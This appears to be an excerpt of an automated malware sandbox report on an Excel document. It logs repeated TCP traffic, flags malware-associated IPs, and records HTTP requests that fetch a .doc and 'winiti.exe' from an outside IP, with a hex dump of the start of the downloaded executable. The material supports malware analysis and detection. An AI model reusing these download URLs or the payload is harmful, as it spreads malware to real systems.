Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 09:07:21 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Tue, 16 Jul 2024 19:13:36 GMTETag: "e8400-61d6224798859"Accept-Ranges: bytesContent-Length: 951296Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 60 c6 96 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 78 0e 00 00 0a 00 00 00 00 00 00 1e 96 0e 00 00 20 00 00 00 a0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c9 95 0e 00 4f 00 00 00 00 a0 0e 00 18 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 0c 00 00 00 28 6d 0e 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 76 0e 00 00 20 00 00 00 78 0e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 18 06 00 00 00 a0 0e 00 00 08 00 00 00 7a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0e 00 00 02 00 00 00 82 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd 95 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 04 05 01 00 4c 55 00 00 03 00 00 00 49 00 00 06 50 5a 01 00 d8 12 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 02 16 7d 02 00 00 04 02 72 01 00 00 70 7d 03 00 00 04 02 14 7d 05 00 00 04 02 28 15 00 00 0a 00 00 02 28 0f 00 00 06 00 2a c2 02 16 7d 02 00 00 04 02 72 01 00 00 70 7d 03 00 00 04 02 14 7d 05 00 00 04 02 28 15 00 00 0a 00 00 02 28 0f 00 00 06 00 02 03 7d 01 00 00 04 2a 00 1b 30 03 00 82 00 00 00 01 00 00 11 00 14 0a 00 72 03 00 00 70 73 16 00 00 0a 0a 06 6f 17 00 00 0a 00 72 ba 00 00 70 0b 07 06 73 18 00 00 0a 0c 73 19 00 00 0a 0d 08 73 1a 00 00 0a 13 04 11 04 09 6f 1b 00 00 0a 26 02 09 6f 1c 00 00 0a 16 6f 1d 00 00 0a 7d 04 00 00 04 02 7b 06 00 00 04 02 7b 04 00 00 04 6f 1e 00 00 0a 00 00 de 13 13 05 00 11 05 6f 1f 00 00 0a 28 20 00 00 0a 26 00 de 00 de 0a 00 06 6f 21 00 00 0a 00 00 dc 2a 00 00 01 1c 00 00 00 00 03 00 5f 62 00 13 20 00 00 01 02 00 03 00 74 77 00 0a 00 00 00 00 13 30 04 00 c2 00 00 00 02 00 00 11 00 02 7b 07 00 00 04 72 01 00 00 70 6f 22 00 00 0a 00 02 7b
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: DATAWAGONUS DATAWAGONUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /dGa HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /80/winiti.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\618F8639.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /dGa HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /80/winiti.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: tny.wtf
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 09:07:13 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SmVL%2B9Ij5x9y%2F3Ryt%2F%2B8wVe%2FJf89vur2PUoFzBwq%2BhKVE%2B971DuKKd4%2FAxAMf90de2Dc1s4PpEY6I6cjg4CVj4STv%2FMod5sQvbO0gthym9fJa8SonoCMJVYp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a933cf9f96f43aa-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 09:07:15 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B%2B%2BpXjTQyBLo%2Bvl14dRKuLT%2Btdqr9KVmq5wbTz3TUPpgSwvrNve5b4kGa%2FHasnFjyhtElKH6%2FVCoWBFZoU332quVLf0D07BbNKXhaxTL3RUzsDaXeT1Ket6X"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a933d034ebc43aa-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
